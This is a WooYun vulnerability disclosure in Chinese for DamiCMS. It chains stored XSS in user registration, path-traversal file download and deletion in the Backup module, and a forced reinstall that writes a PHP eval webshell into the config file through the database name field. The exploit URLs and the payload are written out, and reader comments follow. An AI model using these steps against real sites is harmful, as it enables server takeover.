当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(8) 关注此漏洞

缺陷编号: WooYun-2014-72816

漏洞标题: 大米cms多个漏洞组合写shell

相关厂商: 大米cms

漏洞作者: JJ Fly

提交时间: 2014-08-19 15:45

公开时间: 2014-11-17 15:46

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-19: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-11-17: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

大米cms多个漏洞组合写shell

详细说明:

首先我们先来说下他的 xss。

几乎没有过滤。(注册帐号,用户信息修改)

我们先来注册个帐号。

图片1.png



注册成功之后我们就不管了 。

坐等管理员去后台查看会员信息。

图片2.png



图片3.png



这样我们就可以登录管理员帐号了。







再来任意文件下载 and 删除。

图片4.png



先备份一下数据库 (数据库命名有规律,可被暴力破解。年月日_4位随机数_1.sql )

图片5.png



我们来查看下 下载以及删除文件的连接。



?m=Backup&a=del&id=20140817_9550_1.sql

?m=Backup&a=down&id=20140817_9550_1.sql



然后去找了一下那两个函数

code 区域
//下载还原
public function down()
{
$filepath = './Public/Backup/'.$_GET['id'];
if (file_exists($filepath))
{
$filename = $filename ? $filename : basename($filepath);
$filetype = trim(substr(strrchr($filename, '.'), 1));
$filesize = filesize($filepath);
header('Cache-control: max-age=31536000');
header('Expires: '.gmdate('D, d M Y H:i:s', time() + 31536000).' GMT');
header('Content-Encoding: none');
header('Content-Length: '.$filesize);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Type: '.$filetype);
readfile($filepath);
exit;
}
else
{
$this->error('出错了,没有找到分卷文件!');
}
}
//删除分卷文件
public function del()
{
$filename = trim($_GET['id']);
@unlink('./Public/Backup/'.$filename);
$this->assign("jumpUrl",U("Backup/restore"));
$this->success($filename.'已经删除!');
}



两个函数都没有进行过滤

我们来下载一下 数据库的 配置文件

code 区域
http://localhost/admin.php?m=Backup&a=down&id=../Config/config.ini.php



查看到之后,我们把install.lck删除掉

code 区域
http://localhost/admin.php?m=Backup&a=del&id=../../install.lck



然后会提示我们 install.lck已经删除



通过重新安装cms,可以进行写shell。

code 区域
//修改配置文件
$fp = fopen($source_file,"r");
$configStr = fread($fp,filesize($source_file));
fclose($fp);
$configStr = str_replace('localhost',$dbhost,$configStr);
$configStr = str_replace('damidb',$dbname,$configStr);
$configStr = str_replace("'DB_USER'=>'admin'","'DB_USER'=>'{$dbuser}'",$configStr);
$configStr = str_replace("'DB_PWD'=>'admin'","'DB_PWD'=>'{$dbpwd}'",$configStr);
if($dbport!='3306'){$configStr = str_replace("'DB_PORT'=>'3306'","'DB_PORT'=>'{$dbport}'",$configStr);}
$fp = fopen($target_file,"w") or die("<script>alert('写入配置失败,请检查$target_file是否可写入!');history.go(-1);</script>");
fwrite($fp,$configStr);
fclose($fp);



$source_file为其cms保存的一个模版配置文件,

图片6.png



数据库名

damicms',1=>eval($_POST[c]),'xx'=>'



漏洞证明:

效果

\Public\Config\config.ini.php

图片7.png



图片8.png



修复方案:

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2014-11-17 16:03 | 老胖子 ( 路人 | Rank:0 漏洞数:3 )
    2

    厉害

  2. 2014-11-17 19:25 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)
    2

    都进了后台了,拿shell还不好说啊

  3. 2014-11-17 20:46 | 写个七 ( 路人 | Rank:4 漏洞数:1 | 一点一点积累。)
    2

    这样我们就可以登录管理员帐号了。 碉堡了

登录后才能发表评论,请先 登录